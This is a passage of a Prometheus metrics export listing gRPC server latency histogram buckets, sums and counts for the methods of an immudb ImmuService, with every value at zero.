grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ListUsers",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Login",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Logout",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Reference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeGet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeGetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeReference",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeSet",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeSetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SafeZAdd",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Scan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="ScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Set",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SetActiveUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="SetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="SetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 